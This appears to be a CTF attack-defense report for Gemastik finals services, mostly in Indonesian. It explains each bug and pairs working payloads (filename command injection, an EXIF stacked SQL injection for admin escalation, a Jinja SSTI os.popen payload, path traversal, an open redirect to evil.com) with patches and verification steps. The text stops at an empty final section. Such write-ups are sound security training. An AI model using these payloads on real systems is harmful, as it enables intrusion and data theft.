`os.path.join(app.config['UPLOAD_FOLDER'], original_filename) lalu ditempel ke f-string cmd = f'exiftool {save_path}'`

SINK (Execution Point) — Impact

`os.system(full_cmd) (menjalankan string perintah langsung di shell Linux /bin/sh)`

2. Root Cause

Fungsi allowed_file() hanya mengecek akhiran ekstensi (.jpg/.png). Attacker bisa memberi nama file 'tes.jpg; cat /flag.txt > static/out.txt; #.jpg'. Saat masuk ke os.system(), perintah cat /flag.txt ikut dieksekusi oleh server.

Syntax / Code Walkthrough

- file.filename: Mengambil nama file mentah dari browser user (attacker bebas menggantinya dengan tanda titik koma ; atau ../).
- os.system(full_cmd): Membuka terminal Linux dan mengetikkan isi full_cmd. Jika ada tanda ; di dalam nama file, terminal akan menjalankan perintah baru setelah tanda ; tersebut.

3. VALIDITY EVIDENCE

Source review: `create_post()` assigns `original_filename = file.filename`, builds `save_path` with `os.path.join`, and calls `os.system(f"exiftool {save_path} > ...")`. `allowed_file()` only checks the substring after the last dot, so `pwn.jpg;cat /flag.txt > static/leak.txt;#.jpg` passes while the shell executes the `cat` command. The import of `secure_filename` is unused.

4. ATTACK SCENARIO / STEPS

1. Register and log in, then open `/create`.

2. Upload a valid image whose multipart filename contains `;` and a command ending in `#.jpg`.

3. The server saves the file, then `os.system()` runs exiftool plus the injected command.

4. Read the command output from a web-accessible path (for example `/static/leak.txt`) or use an out-of-band callback.

Reference: `exploits/blogpost/exploit.py --vuln cmdi`

Payload / Command

```
# 1. Create a normal JPEG, then upload it with a shell-metacharacter filename.
#    allowed_file() only checks the final extension (.jpg).
curl -s -c cj.txt -b cj.txt -F 'title=x' -F 'content=x' \
  -F 'image=@normal.jpg;filename=pwn.jpg;cat /flag.txt > static/leak.txt;#.jpg' \
  http://HOST:PORT/create
# 2. Fetch the file written by the injected command.
curl -s http://HOST:PORT/static/leak.txt
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
original_filename = file.filename
save_path = os.path.join(app.config['UPLOAD_FOLDER'], original_filename)
file.save(save_path)

cmd = f"exiftool {save_path}"
meta_file = save_path + ".meta"
full_cmd = f"{cmd} > {meta_file} 2>&1"
os_status = os.system(full_cmd)
```

AFTER (Patched)

```
from werkzeug.utils import secure_filename
import uuid, subprocess

original_filename = secure_filename(file.filename or "")
if not original_filename or not allowed_file(original_filename):
    return redirect(url_for("create_post"))

# Ganti nama file dengan UUID acak agar 100% bersih dari karakter shell
ext = original_filename.rsplit(".", 1)[1].lower()
stored_name = f"{uuid.uuid4().hex}.{ext}"
save_path = os.path.join(app.config["UPLOAD_FOLDER"], stored_name)
file.save(save_path)

# Panggil exiftool TANPA shell menggunakan argumen list dan pemisah '--'
proc = subprocess.run(
    ["exiftool", "--", save_path],
    capture_output=True, text=True, timeout=10
)
metadata_text = proc.stdout if proc.stdout else "no-metadata"
```

6. PATCH VERIFICATION

- ✓ Upload the same filename; `secure_filename()`/UUID storage must remove `;`, spaces and `#`.
- ✓ The injected command must not run (no `static/leak.txt`, no callback).
- ✓ Upload a normal PNG/JPEG and confirm metadata extraction still works.

FINDING 2 OF 3

Celah 2: Stacked SQL Injection lewat Metadata Gambar

VALID High Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-89	exploits/blogpost/exploit.py --vuln sqli

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`metadata_text (teks hasil pembacaan exiftool dari file gambar yang di-upload attacker)`

TRANSFORM (Processing) Path

`f"UPDATE posts SET metadata = '{metadata_text}' WHERE id = {post_id};" (ditempel langsung ke string SQL)`

SINK (Execution Point) Impact

`db.executescript(metadata_insert) (menjalankan banyak statement SQL sekaligus yang dipisahkan titik koma)`

2. Root Cause

Walaupun metadata_text keluar dari exiftool, isi metadata EXIF di dalam gambar dikendalikan oleh attacker sebelum di-upload. Attacker bisa mengisi metadata Comment gambar dengan: a'; UPDATE users SET role='admin' WHERE username='attacker';-- sehingga akunnya berubah menjadi admin dan bisa membuka /profile untuk melihat flag.

Syntax / Code Walkthrough

- db.executescript(sql): Berbeda dengan db.execute() biasa, executescript mengizinkan banyak perintah SQL sekaligus (stacked queries).
- Tanda '?' pada db.execute('... WHERE id = ?', (val,)): Parameter binding / prepared statement agar isi variabel diperlakukan murni sebagai teks data, bukan perintah SQL.

3. VALIDITY EVIDENCE

Source review: `metadata_text` is the raw stdout of `exiftool`, concatenated into `UPDATE posts SET metadata = '{metadata_text}' WHERE id = {post_id};`, then passed to `db.executescript()`. `executescript` permits stacked statements; the comment `--` removes the trailing quote/WHERE. The uploaded image metadata is attacker-controlled.

4. ATTACK SCENARIO / STEPS

1. Create an image whose Comment metadata contains a quote, a stacked UPDATE, and a SQL comment.
2. Upload it through `/create`; the metadata text is stored and then concatenated into SQL.
3. The stacked `UPDATE users SET role='admin'` changes the attacker's role.
4. Open `/profile`; the admin-only branch reads `/flag.txt`.

Reference: `exploits/blogpost/exploit.py --vuln sqli`

Payload / Command

```
# Put the SQL payload into an EXIF/IPTC field that exiftool prints.
exiftool -Comment="x'; UPDATE users SET role='admin' WHERE username='attacker';--"
img.jpg
# Upload img.jpg normally, then visit /profile while logged in as attacker.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
metadata_insert = f"UPDATE posts SET metadata = '{metadata_text}' WHERE id = {post_id};"
db.executescript(metadata_insert)
```

AFTER (Patched)

```
db.execute(
    "UPDATE posts SET metadata = ? WHERE id = ?",
    (metadata_text, post_id)
)
db.commit()
```

6. PATCH VERIFICATION

- ✓ Upload the same metadata; the metadata must be stored literally and the role must remain `user`.
- ✓ `/profile` must not show the flag.
- ✓ Normal image metadata must still be displayed.

FINDING 3 OF 3

Celah 3: Server-Side Template Injection (SSTI) di Halaman /profile

INVALID | Info | Confidence: High

STATUS	SEVERITY
INVALID	Info

CWE	EXPLOIT ARTIFACT
N/A	—

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

```
user['username'] (diambil dari database setelah user registrasi)
```

TRANSFORM (Processing) — Path

```
profile_template.replace('{{ user.username }}', username) (mengganti isi file HTML mentah dengan string username)
```

SINK (Execution Point) — Impact

```
render_template_string(profile_source, user=user, flag=flag_content)
```

2. Root Cause

Claim not supported: the `.replace()` target uses `{{ user.username }}`, but `templates/profile.html` contains `{{ user['username'] }}`, so the substitution never occurs and the username never becomes template source.

Syntax / Code Walkthrough

- render_template('profile.html', ...): Memuat file template statis dan otomatis melakukan autoescape pada variabel.
- render_template_string(source): Merender string sebagai kode sumber template Jinja2. Jika ada {{ ... }} dari input user di dalam source, Jinja2 akan mengeksekusinya sebagai kode Python!

3. VALIDITY EVIDENCE

`templates/profile.html` uses `{{ user['username'] }}` (bracket notation), while `app.py` calls `profile_template.replace("{{ user.username }}", username)` (dot notation). The replace is a no-op, so the username is never inserted into the template source. Jinja2 renders the database value as an autoescaped variable; `{{7*7}}` is displayed literally, not evaluated.

4. ATTACK SCENARIO / STEPS

No reproducible step was documented for this finding.

Payload / Command

```
N/A - the claimed substitution does not occur.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
username = user["username"] if user else ""
profile_source = profile_template.replace("{{ user.username }}", username)
return render_template_string(profile_source, user=user, flag=flag_content)
```

AFTER (Patched)

```
# Langsung gunakan render_template bawaan Flask tanpa replace manual
return render_template("profile.html", user=user, flag=flag_content)
```

6. PATCH VERIFICATION

✓ No security patch is required. Optionally remove the dead `.replace()` call and keep `render_template('profile.html', ...)`.

CHECKLIST SLA & VERIFIKASI PATCH:
Pastikan upload gambar normal tetap menyimpan metadata, halaman post tetap tampil, dan user dengan role='admin' tetap bisa melihat flag di /profile.

Gemastik 2025 | Web | Python / Flask + exiftool | 2 VALID

2. cdn

Primary Source File:

`gemastik18-final/services/cdn/chall/app.py`

APA YANG DILAKUKAN SERVICE INI?

Layanan penyimpanan gambar (CDN) di mana file yang di-upload dinamai ulang dengan hash SHA-256 (sehingga aman dari command injection nama file), lalu metadatanya diambil dengan exiftool dan ditampilkan pada halaman detail /post/<id>.

FINDING 1 OF 2

Celah 1: SSTI lewat Metadata EXIF Gambar (File Name / Date Created)

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-1336	`exploits/cdn/exploit.py --vuln ssti`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Output exiftool dari file gambar attacker (khususnya baris 'File Name' dan 'Date Created' di metadata)

TRANSFORM (Processing) — Path

Digabung ke f-string HTML metadata_snippet_html lalu dimasukkan ke kode template dengan tpl_src.replace('{{ metadata_snippet or \'\' }}', metadata_snippet_html)

SINK (Execution Point) — Impact

```
render_template_string(page_src, post=post)
```

2. Root Cause

Pemanggilan exiftool di challenge ini sudah aman (pakai subprocess list). Namun, attacker bisa memodifikasi tag EXIF 'Date Created' pada gambarnya menjadi '{{ lipsum.__globals__["os"].popen("cat /flag.txt").read() }}'. Saat halaman /post/<id> dibuka, string itu ditempel ke template source dan dieksekusi oleh render_template_string().

Syntax / Code Walkthrough

- re.finditer(r'^\s*(File Name|Date Created)\s*:\s*(.*)$', ...): Regex yang mengambil nilai Date Created dari metadata gambar.
- tpl_src.replace(...) + render_template_string(page_src): Pola klasik SSTI karena memasukkan data user ke dalam string template sebelum direnderer.

3. VALIDITY EVIDENCE

Source review: `view_post()` extracts `Date Created` from exiftool output, builds `metadata_snippet_html` with the raw value, replaces `{{ metadata_snippet or '' }}` in `view_post.html`, and calls `render_template_string(page_src, post=post)`. The value is attacker-controlled metadata, not a template variable. The malformed XMP date is still printed by exiftool as `Date Created: <payload>` (verified locally with exiftool 12.76), so the Jinja expression is compiled as part of the template.

4. ATTACK SCENARIO / STEPS

1. Create a valid JPEG and add an XMP-photoshop:DateCreated value.

2. Replace the date bytes with a Jinja expression that reads `/flag.txt` (exiftool prints the malformed value).

3. Upload the image and open the generated `/post/<id>` page.

4. The expression executes during `render_template_string()` and the flag appears in the response.

Reference: `exploits/cdn/exploit.py --vuln ssti`

Payload / Command

```
# The app reads the exiftool line "Date Created: ..." and injects it into
# render_template_string() before rendering. Build a JPEG with XMP-photoshop:DateCreated,
# then replace the date bytes with a Jinja payload (exiftool still prints the line).
exiftool -XMP-photoshop:DateCreated=2026-01-01 -o pwn.jpg normal.jpg
python3 - <<'PY'
b = open("pwn.jpg", "rb").read()
payload = b'{{lipsum.__globals__["os"].popen("cat /flag.txt").read()}}'
open("pwn.jpg", "wb").write(b.replace(b"2026-01-01", payload))
PY
# Upload pwn.jpg, open /post/<id>, and read the rendered flag.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
metadata_snippet_html = f"<pre>File Name: {file_name_val}\nDate Created:
{date_created_val}</pre>"
page_src = tpl_src.replace(placeholder, metadata_snippet_html)
return render_template_string(page_src, post=post)
```

AFTER (Patched)

```
# Kirim file_name dan date_created sebagai variabel ke render_template (otomatis di-
autoescape)
return render_template(
    "view_post.html",
    post=post,
    file_name=file_name_val,
    date_created=date_created_val
)
# Lalu di dalam templates/view_post.html tulis:
# <pre>File Name: {{ file_name }}
Date Created: {{ date_created }}</pre>
```

6. PATCH VERIFICATION

- ✓ Upload the same image; the `Date Created` value must be escaped/displayed literally.
- ✓ No Jinja evaluation may occur (`{{7*7}}` must stay `{{7*7}}`).
- ✓ Normal metadata display and image serving must still work.

FINDING 2 OF 2

Celah 2: Open Redirect pada Parameter next

VALID Medium Confidence: High

STATUS	SEVERITY
VALID	Medium

CWE	EXPLOIT ARTIFACT
CWE-601	exploits/cdn/exploit.py --vuln redirect

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`request.args.get('next') atau request.form.get('next')`

TRANSFORM (Processing) Path

`Dicek hanya dengan next_url.startswith('/')`

SINK (Execution Point) Impact

`redirect(next_url)`

2. Root Cause

URL '//evil.com' diawali dengan karakter '/', sehingga lolos dari pengecekan startswith('/'), tetapi browser mengartikan '//' sebagai protokol relatif menuju domain eksternal evil.com.

Syntax / Code Walkthrough

- urlparse(next_url).netloc: Mengecek apakah URL memiliki domain tujuan eksternal (misal //evil.com memiliki netloc 'evil.com').

3. VALIDITY EVIDENCE

Source review: `login()` accepts `next` and only checks `next_url.startswith('/')`. A protocol-relative URL such as `//evil.example` starts with `/`, so it passes and Flask returns it as the redirect target; browsers interpret `//evil.example` as an external host.

4. ATTACK SCENARIO / STEPS

1. Log in with `next=//evil.example`.
2. The server returns a 302 to `//evil.example`.
3. A victim following the link leaves the site.

Reference: `exploits/cdn/exploit.py --vuln redirect`

Payload / Command

```
POST /login?next=//evil.example  (or the form field next=//evil.example)
# Response: 302 Location: //evil.example
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
next_url = request.args.get("next") or request.form.get("next")
if next_url and next_url.startswith("/"):
    return redirect(next_url)
```

AFTER (Patched)

```
from urllib.parse import urlparse
next_url = request.args.get("next") or request.form.get("next") or ""
parsed = urlparse(next_url)
if next_url.startswith("/") and not next_url.startswith("//") and not parsed.netloc:
    return redirect(next_url)
return redirect(url_for("gallery"))
```

6. PATCH VERIFICATION

- ✓ `next=//evil.example` must redirect to the gallery, not an external host.
- ✓ `next=/gallery` must still work.

CHECKLIST SLA & VERIFIKASI PATCH:
Halaman /post/<id> harus tetap menampilkan File Name dan Date Created, serta endpoint /post/<id>?meta=1 harus tetap mengembalikan metadata mentah.

Gemastik 2025 | Crypto | Python (Paillier-like Crypto) | 1 VALID

3. phew

Primary Source File:

`gemastik18-final/services/phew/src/Pailier.py & chall.py`

APA YANG DILAKUKAN SERVICE INI?

Service kriptografi interaktif berbasis modifikasi Paillier. Menyediakan 4 menu: (1) Encrypt plaintext, (2) Tebak key 66 byte ('bingo') untuk dapat flag, (3) Decrypt ciphertext, dan (4) 'key?' yang mencetak hasil enkripsi dari secret key 66 byte.

FINDING 1 OF 1

Decryption Oracle + Affine Obfuscation pada Paillier

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-330	exploits/phew/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Input pilihan menu & plaintext/ciphertext hex dari attacker (Menu 1, 3, dan 4)

TRANSFORM (Processing) — Path

decrypt(ct) menghitung Paillier raw = L(ct^phi mod n^2) * miu mod n, lalu mengacaknya secara linear: (alpha[idx] * raw + beta[idx]) % n

SINK (Execution Point) — Impact

Menu 3 mencetak hasil decrypt(ct) dan Menu 4 mencetak encrypt(secret_key) ke layar attacker

2. Root Cause

Attacker punya akses ke Encryption Oracle (Menu 1), Decryption Oracle (Menu 3), sekaligus Ciphertext dari Secret Key (Menu 4). Dengan mengenkripsi angka x = 0, 1, 2 lalu mendekripsinya di Menu 3, attacker dapat menemukan nilai alpha dan beta. Setelah itu, attacker mengambil ciphertext secret_key dari Menu 4, mendekripsinya di Menu 3, dan membalik rumus (y - beta) * alpha^-1 mod n untuk mendapatkan secret_key lalu menukarkannya dengan flag di Menu 2.

Syntax / Code Walkthrough

- y = (alpha[idx] * raw + beta[idx]) % n: Fungsi linear (persamaan garis y = A*x + B). Jika attacker tahu beberapa pasangan (x, y), nilai rahasia alpha dan beta bisa dicari dengan aljabar biasa.

3. VALIDITY EVIDENCE

Source review plus the published solver (HowToBeASepuh) and a local pure-Python simulation: `decrypt()` returns `alpha[idx]*raw + beta[idx] mod n`, menu 4 returns `Enc(key)`, and menu 3 decrypts arbitrary ciphertexts. The affine oracle leaks `n` via `gcd(d3-3*d1+2*beta1)`, factors `n` via `gcd(decrypt(encrypt(1))-beta1,n)`, and the `Enc(key)` cube/difference leaks the key modulo each prime; CRT reconstructs the 66-byte key.

4. ATTACK SCENARIO / STEPS

1. Read `beta1 = decrypt(encrypt(0))`.

2. For several `ck` from menu 4, compute `delta = decrypt(ck^3) - 3*decrypt(ck) + 2*beta1`; `gcd` of the deltas yields `n`.

3. Decrypt several `encrypt(1)` values; `gcd((d-beta1) mod n, n)` reveals p and q.

4. For `ck`, compute `u=(decrypt(ck^3)-decrypt(ck))/2 mod n`; classify u by which prime divides it.

5. Match with `a_p`/`a_q` from `encrypt(1)`, solve the two congruences and CRT-combine to recover the key.

6. Submit the 66-byte key to menu 2 (`bingo`) to print the flag.

Reference: `exploits/phew/exploit.py`

Payload / Command

```
See `exploits/phew/exploit.py`; it recovers n, factors it, solves the CRT and submits the 66-byte key to menu 2.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
# Di chall.py: mengizinkan decrypt sembarang ciphertext (termasuk ciphertext key dari
menu 4)
elif choice == "3":
    ct = int(input("ciphertext (hex): "), 16)
    print(hex(cipher.decrypt(ct))[2:])
elif choice == "4":
    print(hex(cipher.encrypt(int.from_bytes(key, 'big')))[2:])
```

AFTER (Patched)

```
# 1. Simpan daftar ciphertext yang berasal dari menu 4 (encrypted secret key) dan tolak
di menu 3
forbid_cts = set()

elif choice == "3":
    ct = int(input("ciphertext (hex): "), 16)
    if ct <= 0 or ct >= cipher.n2 or ct in forbid_cts:
        print("invalid ciphertext")
        continue
    # Atau matikan transformasi linear yang membocorkan relasi langsung ke key
elif choice == "4":
    enc_k = cipher.encrypt(int.from_bytes(key, 'big'))
    forbid_cts.add(enc_k)
    print(hex(enc_k)[2:])
# Catatan: Lebih baik lagi jika alpha/beta diacak per sesi atau menu 3 dibatasi agar
tidak bisa mendekripsi komponen homomorfik dari enc_k.
```

6. PATCH VERIFICATION

- ✓ Menu 3 must reject ciphertexts produced by menu 4 (or the affine transform must be removed).
- ✓ The same chosen-plaintext queries must not reveal n or a factor.
- ✓ The key-guess check must still accept the real key and reject wrong keys.

CHECKLIST SLA & VERIFIKASI PATCH:
Pastikan menu 1 (encrypt) dan menu 3 (decrypt untuk ciphertext biasa yang diuji SLA checker) tetap berjalan tanpa crash.

Gemastik 2025 | Crypto | Python / PyCryptodome (AES) | 1 VALID

4. sheesh

Primary Source File:

`gemastik18-final/services/sheesh/src/chall.py`

APA YANG DILAKUKAN SERVICE INI?

Service mencetak IV dan Ciphertext dari flag yang dienkripsi dengan AES-CBC menggunakan kunci K0 (di mana 16 byte pertama flag di-XOR dulu dengan MK yang diturunkan dari K1). Menyediakan dua menu oracle: enc1 (enkripsi 1 blok dengan K1) dan C (mengecek validitas padding CBC dengan K0).

FINDING 1 OF 1

Celah 1 & 2: AES Encryption Oracle (K1 Reuse) + CBC Padding Oracle (K0)

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-649	exploits/sheesh/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Input 16 byte di Menu 1 (enc1) dan input blob ciphertext di Menu 2 (fungsi C)

TRANSFORM (Processing) — Path

enc1(b16) menghitung AES_ECB_K1(b16) ^ b16; sedangkan C(iv, ct) mendekripsi blok dengan AES_CBC_K0 lalu memanggil unpad(x, 16)

SINK (Execution Point) — Impact

Mengembalikan output enc1 ke user, serta mengembalikan status 'ok'/'no' berdasarkan berhasil/tidaknya unpad() di fungsi C

2. Root Cause

Pertama, karena enc1 memakai kunci K1 yang sama dengan pembuat MK (enc3), attacker bisa menghitung MK sendiri dari IV yang dicetak di awal. Kedua, fungsi C membocorkan apakah padding AES-CBC valid atau tidak ('ok' vs 'no'), sehingga attacker bisa mendekripsi ciphertext flag byte demi byte menggunakan teknik CBC Padding Oracle Attack (meskipun ada noise 8% random).

Syntax / Code Walkthrough

- enc1(b16) = E_K1(b16) ^ b16: Karena attacker tahu b16 yang dikirimnya sendiri, attacker cukup melakukan output ^ b16 untuk mendapatkan hasil murni E_K1(b16)!
- unpad(x, 16) di dalam try/except: Jika padding salah, masuk ke except (ok = False). Jika padding benar, ok = True. Perbedaan respon True/False inilah yang disebut Padding Oracle.

3. VALIDITY EVIDENCE

Source review plus a local end-to-end simulation: `enc1` uses the same K1 as `enc3`, so `MK` is derivable from the printed IV; `C()` returns `ok`/`no` for arbitrary CBC blobs with only 8% noise. The simulation recovered a known `GEMASTIK18{...}` flag exactly, including the `H1/H0` XOR construction and the noisy-oracle scoring.

4. ATTACK SCENARIO / STEPS

1. Read the printed `iv` and `ct` (flag ciphertext).

2. Query menu 1 with the IV to get `enc1(iv)`; derive `eiv`, `c2`, `x`, and `MK = enc1(x)^x` as in the script.

3. Use the crafted 6-block oracle blob with `iv[0]&7=4` so the T() rotation is zero and the target block is isolated.

4. Recover each target block's intermediate value byte-by-byte with repeated queries and majority scoring (handles 8% noise).

5. Compute `H1 = P0 ^ iv`, `H0 = H1 ^ MK`, then `P_i = I_i ^ C_{i-1}` for the remaining blocks.

6. Strip PKCS#7 padding and print the flag.

Reference: `exploits/sheesh/exploit.py`

Payload / Command

```
See `exploits/sheesh/exploit.py`; it derives MK from the enc1 oracle and decrypts the
flag with the noisy CBC padding oracle.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
def enc1(b16):
    x = AES.new(K1, AES.MODE_ECB).encrypt(b16)
    return bytes(a ^ b for a, b in zip(x, b16))

def C(iv, ct):
    z = T(iv, ct)
    if z is None: ok = False
    else:
        try:
            x = AES.new(K0, AES.MODE_CBC, iv=iv).decrypt(z)
            unpad(x, 16)
            ok = True
        except: ok = False
    if random.random() < 0.08:
        ok = not ok
    return ok
```

AFTER (Patched)

```
# 1. Pisahkan kunci K1 untuk enc1 dengan kunci pembuat MK (misal gunakan K2 =
os.urandom(16))
K2 = os.urandom(16)
def enc3(m):
    return AES.new(K2, AES.MODE_CBC, iv=b"\x00"*16).encrypt(pad(m, 16))[-16:]

# 2. Tutup Padding Oracle di fungsi C: jangan bocorkan hasil unpad(x, 16) pada ciphertext
arbitrer
def C(iv, ct):
    z = T(iv, ct)
    if z is None:
        return False
    # Hanya izinkan ciphertext yang memang sah atau jangan bedakan error unpad
    return False
```

6. PATCH VERIFICATION

- ✓ The oracle must return a generic error for all invalid paddings (no `ok`/`no` distinction).
- ✓ The enc1 key must be independent from the MK key (or remove the enc1 oracle).
- ✓ The flag ciphertext must use an authenticated mode (AES-GCM/ChaCha20-Poly1305).

CHECKLIST SLA & VERIFIKASI PATCH:
Periksa apa yang diuji checker pada Menu 1 dan Menu 2. Memisahkan kunci K1 dan K2 sudah langsung membuat 16 byte pertama flag (H0) mustahil dipulihkan walaupun Menu 1 tetap menyala.

Gemastik 2025 | Pwn | C++ (OOP & Custom Heap List) | 1 VALID

5. carbeat

Primary Source File:

`gemastik18-final/services/carbeat/chall/mybini.cpp`

APA YANG DILAKUKAN SERVICE INI?

Program C++ interaktif bertema manajemen 'karbit' dan linked-list 'bini' (add, view, delete, edit). Menggunakan custom allocator berbasis mmap yang dibagi menjadi slot 0x20 byte.

FINDING 1 OF 1

Partial free-pointer overwrite in edit_karbit() -> heap corruption -> RCE

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-121	exploits/carbeat/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Input terminal std::cin.getline(karbit, 0x20), strncpy(used→curr, bini, 0x20), serta parameter index id pada view(id) dan del(id)

TRANSFORM (Processing) — Path

Menulis 0x20 (32) byte ke dalam array char karbit[20] yang hanya berukuran 20 byte, serta menyalin 32 byte penuh tanpa menyisakan byte NUL ('\0') di ujung

SINK (Execution Point) — Impact

std::cin.getline() menimpa pointer milik struct MyKisah di sebelahnya; std::cout << cur→curr membocorkan memori (info leak); del() tidak meng-NULL-kan pointer

2. Root Cause

`Karbit::karbit` is only 20 bytes, but `edit_karbit()` calls `std::cin.getline(karbit, 0x20)` and writes up to 31 characters plus NUL. `MyKisah` stores its `free` pointer immediately after the 20-byte buffer (with 4 bytes of padding), so a 20-byte name + 4 bytes + 7 bytes of the pointer + NUL partially overwrites `free`. The custom allocator then returns an attacker-chosen pointer; the official exploit grooms the heap and redirects execution to shellcode.

Syntax / Code Walkthrough

- char karbit[20] vs getline(karbit, 0x20): 0x20 dalam heksadesimal adalah 32 desimal! Menulis 32 byte ke wadah 20 byte menyebabkan overflow 12 byte ke variabel di bawahnya.
- strncpy(dst, src, 0x20): Jika teks src panjangnya pas 32 karakter, strncpy TIDAK menambahkan karakter penutup '\0', sehingga saat dicetak dengan cout akan bablas membaca memori di sebelahnya.

3. VALIDITY EVIDENCE

Source review and local execution: `edit_karbit()` reads 0x20 bytes into `char karbit[20]`; `MyKisah` follows the base class, so `free` is at offset 24. The official exploit and a local run returned `PWNED_1000`; the checkpoint test confirmed the partial overwrite path. The original binary needed `chmod +x` on a copy; the workspace source was not modified.

4. ATTACK SCENARIO / STEPS

1. Register users and add karbit entries to shape the mmap-backed 0x20-byte slots.

2. Use `edit_karbit()` with exactly 20 bytes + 4 padding + 7 bytes of the desired `free` pointer; the trailing NUL lands at offset 47.

3. Trigger `add`/`delete` so the corrupted free list returns the target address.

4. Overwrite a function pointer / return target with shellcode (the official exploit uses `shellcraft.sh()` and an interactive shell).

5. Run `cat /flag.txt` (or the challenge's flag path) and verify the flag.

Reference: `exploits/carbeat/exploit.py`

Payload / Command

```
See `exploits/carbeat/exploit.py` (adapted from the official `gemastik18-final/services/carbeat/exploit/solve.py`). Key edit: 20 bytes of karbit + 4 padding + 7 bytes of the target `free` pointer; the NUL at byte 47 terminates the overwrite.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
class Karbit {
protected:
    size_t karbit_level;
public:
    char karbit[20];
    void edit_karbit() {
        std::cin.getline(karbit, 0x20); // OVERFLOW: 32 byte ke buffer 20 byte!
    }
};
// Di MyKisah::add():
strncpy(used→curr, bini, 0x20); // Tidak menjamin NUL-terminated!
```

AFTER (Patched)

```
class Karbit {
protected:
    size_t karbit_level;
public:
    char karbit[32]; // Perbesar ukuran buffer atau batasi getline sesuai sizeof(karbit)
    void edit_karbit() {
        std::cin.getline(karbit, sizeof(karbit));
    }
};

// Di MyKisah::add(): pastikan selalu NUL-terminated
strncpy(used→curr, bini, 0x1f);
used→curr[0x1f] = '\0';

// Di MyKisah::view(int id) dan del(unsigned int id):
if (id < 0 || id ⩾ 9) {
    std::cout << "Invalid index\n";
    return;
}
```

6. PATCH VERIFICATION

- ✓ `getline(karbit, sizeof(karbit))` or `std::string` must prevent writes past 20 bytes.
- ✓ `strncpy` must NUL-terminate and respect the destination size.
- ✓ Delete must clear the freed pointer; indices must be bounds-checked.
- ✓ Re-run the exploit: it must crash safely or fail, never return a shell; ASan should report no OOB write.

CHECKLIST SLA & VERIFIKASI PATCH:
Setelah mengubah mybini.cpp, wajib compile ulang binary C++ (make) dengan flag proteksi (-fstack-protector-strong -fPIE -pie -Wl,-z,relro,-z,now) dan restart prosesnya.

Gemastik 2025 | Web | Go (net/http) | 1 VALID

6. warmup

Primary Source File:

`gemastik18-final/services/warmup/src/main.go`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi web penampil file teks sederhana. Endpoint /view?file=... membaca file dari direktori /opt/files/ dan menampilkannya ke user. Flag berada di /flag.txt.

FINDING 1 OF 1

Path Traversal / Arbitrary File Read (LFI)

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-22	exploits/warmup/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`r.URL.Query().Get('file') (parameter query URL ?file=...)`

TRANSFORM (Processing) — Path

`filepath.Join('/opt/files/', filename) (menggabungkan path dan meresolusi '../')`

SINK (Execution Point) — Impact

`ioutil.ReadFile(filePath) (membaca file langsung dari disk server)`

2. Root Cause

Developer mengira filepath.Join otomatis mengurung akses di dalam /opt/files/. Padahal jika user mengirim ?file=../../flag.txt, hasil filepath.Join adalah /flag.txt dan langsung dibaca oleh ioutil.ReadFile.

Syntax / Code Walkthrough

- filepath.Join('/opt/files/', '../../flag.txt'): Fungsi ini merapikan '..' sehingga mundur 2 folder dari /opt/files/ dan menghasilkan '/flag.txt'.
- strings.HasPrefix(cleanPath, '/opt/files/'): Mengecek apakah teks cleanPath masih berawalan '/opt/files/'.

3. VALIDITY EVIDENCE

Source review: `filepath.Join("/opt/files/", filename)` cleans the path, so `../../flag.txt` becomes `/flag.txt`; `ioutil.ReadFile` then reads it and writes the contents to the response.

4. ATTACK SCENARIO / STEPS

1. Request `/view?file=../../flag.txt`.
2. The joined path escapes `/opt/files/` and resolves to `/flag.txt`.
3. The response body is the flag.

Reference: `exploits/warmup/exploit.py`

Payload / Command

```
curl -s 'http://HOST:PORT/view?file=../../flag.txt'
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
filename := r.URL.Query().Get("file")
if filename == "" {
    filename = "welcome.txt"
}
filePath := filepath.Join("/opt/files/", filename)
content, err := ioutil.ReadFile(filePath)
```

AFTER (Patched)

```
filename := r.URL.Query().Get("file")
if filename == "" {
    filename = "welcome.txt"
}
base := "/opt/files"
cleanPath := filepath.Clean(filepath.Join(base, filename))

// Pastikan path akhir masih berada di dalam folder /opt/files/
if !strings.HasPrefix(cleanPath, base + "/") {
    http.Error(w, "Invalid file path", http.StatusBadRequest)
    return
}
content, err := ioutil.ReadFile(cleanPath)
```

6. PATCH VERIFICATION

- ✓ `../../flag.txt` must return 400/404.
- ✓ `?file=welcome.txt` must still return the normal file.
- ✓ A symlink inside the upload directory must not escape the base directory.

CHECKLIST SLA & VERIFIKASI PATCH:
Pastikan /view?file=welcome.txt tetap bisa dibuka normal oleh checker.

Gemastik 2024 | Web | Python / Flask + PostgreSQL | 1 VALID

7. anti-alchemy

Primary Source File:

`gemastik-xvii-final/anti-alchemy/src/antialchemy.py & app.py`

APA YANG DILAKUKAN SERVICE INI?

